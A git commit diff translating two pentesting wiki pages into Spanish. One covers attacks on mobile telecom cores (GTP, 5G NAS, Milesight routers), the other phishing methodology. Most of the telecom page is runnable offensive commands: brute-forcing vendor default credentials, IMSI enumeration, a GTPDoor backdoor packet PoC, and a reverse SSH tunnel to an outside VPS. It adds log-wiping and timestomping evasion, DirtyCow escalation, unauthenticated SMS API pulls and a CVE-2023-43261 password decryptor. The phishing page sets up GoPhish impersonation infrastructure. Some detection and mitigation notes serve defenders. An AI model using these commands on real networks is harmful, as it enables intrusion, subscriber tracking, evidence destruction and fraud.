Translated ['', 'src/generic-methodologies-and-resources/phishing-method

This commit is contained in:
Translator 2025-10-09 00:49:20 +00:00
parent e8070e84d5
commit d1f02b9691
2 changed files with 286 additions and 196 deletions

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
> Los protocolos del core móvil (GPRS Tunnelling Protocol GTP) a menudo atraviesan dorsales de roaming GRX/IPX semi-confiables. Debido a que viajan sobre UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro del perímetro de un operador puede normalmente alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW and other EPC nodes.
## 1. Recon & Initial Access
### 1.1 Cuentas OSS / NE por defecto
Un conjunto sorprendentemente grande de elementos de red de fabricantes se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
### 1.1 Default OSS / NE Accounts
Un número sorprendentemente grande de elementos de red de proveedores incluyen usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada incrementa drásticamente el éxito del brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Si el dispositivo expone solo una management VRF, realiza un pivot a través de un jump host primero (ver sección «SGSN Emu Tunnel» más abajo).
Si el dispositivo expone solo un VRF de gestión, realiza primero un pivot a través de un jump host (ver sección «SGSN Emu Tunnel» más abajo).
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP integradas `gtpv1` para mapear rápidamente los listeners GTP-C:
### 1.2 Detección de hosts dentro de GRX/IPX
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumeración de suscriptores `cordscan`
La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** que actualmente sirve el IMSI consultado y, a veces, el PLMN visitado del suscriptor.
La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que está sirviendo al IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Opciones clave:
Flags clave:
- `--imsi` IMSI del abonado objetivo
- `--oper` Home / HNI (MCC+MNC)
- `-w` Escribir paquetes raw en pcap
- `--oper` Operador / HNI (MCC+MNC)
- `-w` Escribe paquetes sin procesar a pcap
Las constantes importantes dentro del binario se pueden parchear para ampliar los escaneos:
Constantes importantes dentro del binario pueden parchearse para ampliar los escaneos:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
## 3. Ejecución de código sobre GTP `GTPDoor`
`GTPDoor` es un pequeño servicio ELF que **se liga a UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la payload comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** de modo que nunca se crea una sesión saliente.
Paquete PoC mínimo (Python):
```python
@ -54,22 +54,22 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detección:
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
* el flag de versión de GTP establecido en 1 mientras message type = 1 (Echo) desviación respecto a la especificación
* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) desviación respecto a la especificación
## 4. Pivoting a través del Core
## 4. Pivoting a través del núcleo
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` incluye un emulador SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el peer de roaming.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Con un correcto firewall hair-pinning, este túnel evita VLANs de solo señalización y te sitúa directamente en el **data plane**.
Con un adecuado firewall hair-pinning, este túnel elude las VLANs solo de señalización y te sitúa directamente en el **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS suele estar casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y vuelve más tarde desde casa:
DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS que escuche en :53 y vuelve más tarde desde casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
@ -78,14 +78,14 @@ Comprueba que `GatewayPorts yes` esté habilitado en el VPS.
## 5. Canales encubiertos
| Canal | Transporte | Decodificación | Notas |
|-------|-----------|---------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha puramente pasiva, sin tráfico saliente |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privada | se mezcla con el tráfico legítimo de GTP-C |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente puramente pasivo, sin tráfico saliente |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificado en octetos del registro A | vigila el subdominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C |
Todos los implants implementan watchdogs que **timestomp** sus binarios y re-spawn si se bloquean.
Todos los implants implementan watchdogs que **timestomp** sus binaries y se re-spawn si crashed.
## 6. Hoja de trucos de evasión de defensas
## 6. Hoja de referencia de evasión de defensas
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalada de privilegios en NE heredado
## 7. Privilege Escalation en NE heredados
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -118,61 +118,61 @@ rm -f /tmp/sh ; history -c
```
## 8. Caja de herramientas
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` herramientas personalizadas descritas en secciones anteriores.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling descrito en secciones previas.
* `FScan` : barridos TCP en intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : pivot ligero SOCKS5
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed).
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular tráfico N2 (por ejemplo, on-path dentro del core, gNB rogue, o en un testbed).
Flujo de registro (simplificado):
- Registration Request: UE envía SUCI (SUPI encrypted with the home-network public key) y capabilities.
- Authentication: AMF/AUSF envían RAND/AUTN; UE responde con RES*.
- Security Mode Command/Complete: se negocian y activan la integridad y el cifrado NAS.
- PDU Session Establishment: configuración IP/QoS.
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Consejos para laboratorio (no-RF):
- Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos.
Consejos de configuración de laboratorio (no-RF):
- Core: Open5GS con despliegue por defecto es suficiente para reproducir los flujos.
- UE: simulador o UE de prueba; decodificar con Wireshark.
- Herramientas activas: 5GReplay (captura/modifica/repite NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS en vuelo sin levantar un rogue gNB completo).
- Filtros útiles en Wireshark:
- Herramientas activas: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS al vuelo sin levantar un gNB rogue completo).
- Filtros de visualización útiles en Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Privacidad de identificadores: fallos de SUCI que exponen SUPI/IMSI
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite seguimiento persistente del suscriptor.
Esperado: UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública del home-network). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite tracking persistente del abonado.
Cómo probar:
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
- Chequeos rápidos en Wireshark:
- Comprobaciones rápidas en Wireshark:
- Debe decodificarse como SUCI, no como IMSI.
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica exposición.
Qué recoger:
- MCC/MNC/MSIN si están expuestos; registrar por UE y rastrear a lo largo del tiempo/ubicaciones.
Qué recopilar:
- MCC/MNC/MSIN si están expuestos; registrar por-UE y rastrear a lo largo del tiempo/ubicaciones.
Mitigación:
- Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en el NAS inicial.
- Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
### 9.2 Bidding-down de capacidades a algoritmos nulos (EEA0/EIA0)
Contexto:
- El UE anuncia los EEA (encryption) y EIA (integrity) soportados en el IE UE Security Capability del Registration Request.
- Mapeos comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
- El UE anuncia EEA (cifrado) y EIA (integridad) soportados en el UE Security Capability IE del Registration Request.
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
Problema:
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capability para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas stacks permiten erróneamente algoritmos nulos fuera de servicios de emergencia.
- Dado que el Registration Request no tiene protección de integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunos stacks permiten incorrectamente algoritmos nulos fuera de servicios de emergencia.
Pasos ofensivos:
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capability antes de reenviar.
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviarlo.
- Observar si el AMF acepta cifrados/integridad nulos y completa Security Mode con EEA0/EIA0.
Verificación/visibilidad:
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
- Ejemplo de salida pasiva de sniffer:
- Ejemplo de salida de un sniffer pasivo:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
@ -180,12 +180,12 @@ SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigaciones (obligatorias):
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y alertar ante cualquier NAS security context que negocie algoritmos null.
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alarmas ante cualquier contexto de seguridad NAS que negocie algoritmos null.
### 9.3 Replay de la initial Registration Request (pre-security NAS)
Debido a que el NAS inicial carece de integridad y frescura, el InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
### 9.3 Replay de initial Registration Request (pre-security NAS)
Debido a que initial NAS carece de integridad y freshness, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
Regla PoC para 5GReplay para reenviar replays coincidentes:
PoC rule para 5GReplay para reenviar replays coincidentes:
```xml
<beginning>
<property value="THEN"
@ -227,15 +227,74 @@ Mitigations:
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## References
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPCstyle endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Las respuestas incluyen campos como `timestamp`, `content`, `phone_number` (E.164) y `status` (`success` o `failed`). Los envíos `failed` repetidos al mismo número suelen ser “capability checks” del atacante para validar que un router/SIM puede entregar antes de un envío masivo.
Ejemplo de curl para exfiltrar metadatos de SMS:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Notas sobre auth artifacts:
- Parte del tráfico puede incluir una auth cookie, pero una gran fracción de dispositivos expuestos responde sin ninguna autenticación a `query_inbox`/`query_outbox` cuando la interfaz de gestión está expuesta a Internet.
- En entornos que requieren auth, credenciales previamente-leaked (ver abajo) restauran el acceso.
Credential recovery path CVE-2023-43261:
- Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: los logs servidos por web (p. ej., `httpd.log`) son accesibles sin autenticación bajo `/lang/log/` y contienen eventos de admin login con la contraseña cifrada usando una hardcoded AES key/IV presente en JavaScript del lado del cliente.
- Acceso práctico y decrypt:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Python mínimo para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Ideas de hunting y detección (red):
- Alerta sobre `POST /cgi` no autenticados cuyo cuerpo JSON contiene `base`/`function` establecido en `query_inbox` o `query_outbox`.
- Rastrear ráfagas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` a través de muchos números únicos desde la misma IP de origen (pruebas de capacidad).
- Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; deshabilitar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar los registros SMS por envíos desconocidos.
Shodan/OSINT pivots (ejemplos vistos en la naturaleza):
- `http.html:"rt_title"` coincide con paneles de router Milesight.
- Google dorking para registros expuestos: `"/lang/log/system" ext:log`.
Impacto operacional: usar SIMs de operadora legítimas dentro de routers proporciona muy alta entregabilidad/credibilidad de SMS para phishing, mientras que la exposición de inbox/outbox leaks metadata sensible a escala.
---
## Ideas de detección
1. **Cualquier dispositivo distinto de un SGSN/GGSN que establezca Create PDP Context Requests**.
2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas.
3. **Solicitudes Echo frecuentes sin correspondientes Echo Responses** podrían indicar balizas GTPDoor.
4. **Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y distintos de cero**.
5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay).
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia.
## Referencias
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
@ -243,5 +302,8 @@ Mitigations:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Phishing Methodology
# Metodología de Phishing
{{#include ../../banners/hacktricks-training.md}}
## Metodología
1. Recon de la víctima
1. Selecciona el **dominio de la víctima**.
2. Realiza una enumeración web básica **buscando portales de inicio de sesión** usados por la víctima y **decide** cuál vas a **suplantar**.
3. Usa **OSINT** para **encontrar correos electrónicos**.
1. Recon a la víctima
1. Select the **victim domain**.
2. Realiza una enumeración web básica **buscando portales de acceso** usados por la víctima y **decide** cuál vas a **suplantar**.
3. Usa algo de **OSINT** para **encontrar correos electrónicos**.
2. Prepara el entorno
1. **Compra el dominio** que vas a usar para la evaluación de phishing
2. **Configura los registros** relacionados con el servicio de correo (SPF, DMARC, DKIM, rDNS)
@ -21,30 +21,30 @@
### Domain Name Variation Techniques
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
- **Keyword**: El nombre de dominio **contiene** una **keyword** importante del dominio original (e.g., zelster.com-management.com).
- **hypened subdomain**: Cambia el **punto por un guion** de un subdominio (e.g., www-zelster.com).
- **New TLD**: Mismo dominio usando un **nuevo TLD** (e.g., zelster.org)
- **Homoglyph**: Sustituye una letra en el nombre de dominio por **letras que se parecen** (e.g., zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
- **Transposition:** Intercambia dos letras dentro del nombre de dominio (e.g., zelsetr.com).
- **Singularization/Pluralization**: Agrega o elimina una “s” al final del nombre de dominio (e.g., zeltsers.com).
- **Omission**: Elimina una de las letras del nombre de dominio (e.g., zelser.com).
- **Repetition:** Repite una de las letras en el nombre de dominio (e.g., zeltsser.com).
- **Replacement**: Como homoglyph pero menos sigiloso. Sustituye una de las letras en el nombre de dominio, quizá por una letra cercana a la original en el teclado (e.g, zektser.com).
- **Subdomained**: Introduce un **punto** dentro del nombre de dominio (e.g., ze.lster.com).
- **Insertion**: Inserta una letra en el nombre de dominio (e.g., zerltser.com).
- **Missing dot**: Añade la TLD al nombre de dominio sin el punto. (e.g., zelstercom.com)
**Automatic Tools**
**Herramientas automáticas**
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Websites**
**Sitios web**
- [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report)
@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
Existe la **posibilidad de que uno o varios bits almacenados o en comunicación se inviertan automáticamente** debido a varios factores como las erupciones solares, los rayos cósmicos o errores de hardware.
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el solicitado inicialmente.
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com".
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
Los atacantes pueden **aprovechar esto registrando múltiples dominios con bit-flipping** que sean similares al dominio de la víctima. Su intención es redirigir a usuarios legítimos a su propia infraestructura.
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Para más información lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Buy a trusted domain
### Comprar un dominio confiable
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO** puedes comprobar cómo está categorizado en:
Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio expirado que puedas usar.\
Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen SEO** puedes comprobar cómo está categorizado en:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Discovering Emails
## Descubrimiento de correos electrónicos
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,17 +78,17 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Para **descubrir más** direcciones de correo válidas o **verificar las que** ya has encontrado, puedes comprobar si puedes hacer brute-force contra los servidores SMTP del objetivo. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Para **descubrir más** direcciones de email válidas o **verificar las que** ya has descubierto, puedes comprobar si puedes hacer brute-force contra los servidores SMTP de la víctima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Además, no olvides que si los usuarios usan **algún portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **username brute force**, y explotar la vulnerabilidad si es posible.
## Configuring GoPhish
## Configuración de GoPhish
### Installation
### Instalación
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Puedes descargarlo desde [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
Se te proporcionará una contraseña para el usuario admin en el puerto 3333 en la salida. Por lo tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña del admin. Puede que necesites tunelar ese puerto a local:
Descarga y descomprímelo dentro de `/opt/gophish` y ejecuta `/opt/gophish/gophish`\
Se te mostrará una contraseña para el usuario admin en el puerto 3333 en la salida. Por tanto, accede a ese puerto y usa esas credenciales para cambiar la contraseña de admin. Puede que necesites tunelizar ese puerto a local:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -112,9 +112,9 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Configuración del correo**
**Configuración de correo**
Comienza instalando: `apt-get install postfix`
Instala: `apt-get install postfix`
Luego añade el dominio a los siguientes archivos:
@ -122,16 +122,16 @@ Luego añade el dominio a los siguientes archivos:
- **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp**
**Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf**
Cambia también los valores de las siguientes variables dentro de /etc/postfix/main.cf
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Finalmente modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** con tu nombre de dominio y **reinicia tu VPS.**
Ahora, crea un **registro DNS A** de `mail.<domain>` que apunte a la **dirección IP** del VPS y un **registro DNS MX** que apunte a `mail.<domain>`
Ahora crea un **registro DNS A** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.<domain>`
Ahora vamos a probar a enviar un correo:
Ahora probemos enviar un correo:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
@ -166,7 +166,7 @@ Modifica `/opt/gophish/config.json` a lo siguiente (nota el uso de https):
```
**Configurar el servicio gophish**
Para crear el servicio gophish de modo que pueda iniciarse automáticamente y gestionarse como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
Para crear el servicio gophish para que pueda iniciarse automáticamente y gestionarse como servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
Termina de configurar el servicio y compruébalo haciendo:
Termina de configurar el servicio y comprueba que esté funcionando:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -224,11 +224,11 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Configurando servidor de correo y dominio
## Configuring mail server and domain
### Espera y sé legítimo
### Wait & be legit
Cuanto más antiguo sea un dominio, menos probable será que sea detectado como spam. Por tanto, debes esperar tanto tiempo como sea posible (al menos 1 semana) antes de la evaluación de phishing. Además, si pones una página relacionada con un sector con reputación, la reputación obtenida será mejor.
Cuanto más antiguo sea un dominio, menos probable es que sea marcado como spam. Por eso debes esperar el mayor tiempo posible (al menos 1 semana) antes de la evaluación de phishing. Además, si publicas una página relacionada con un sector con buena reputación, la reputación obtenida será mejor.
Ten en cuenta que, aunque tengas que esperar una semana, puedes terminar de configurar todo ahora.
@ -240,19 +240,19 @@ Configura un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre
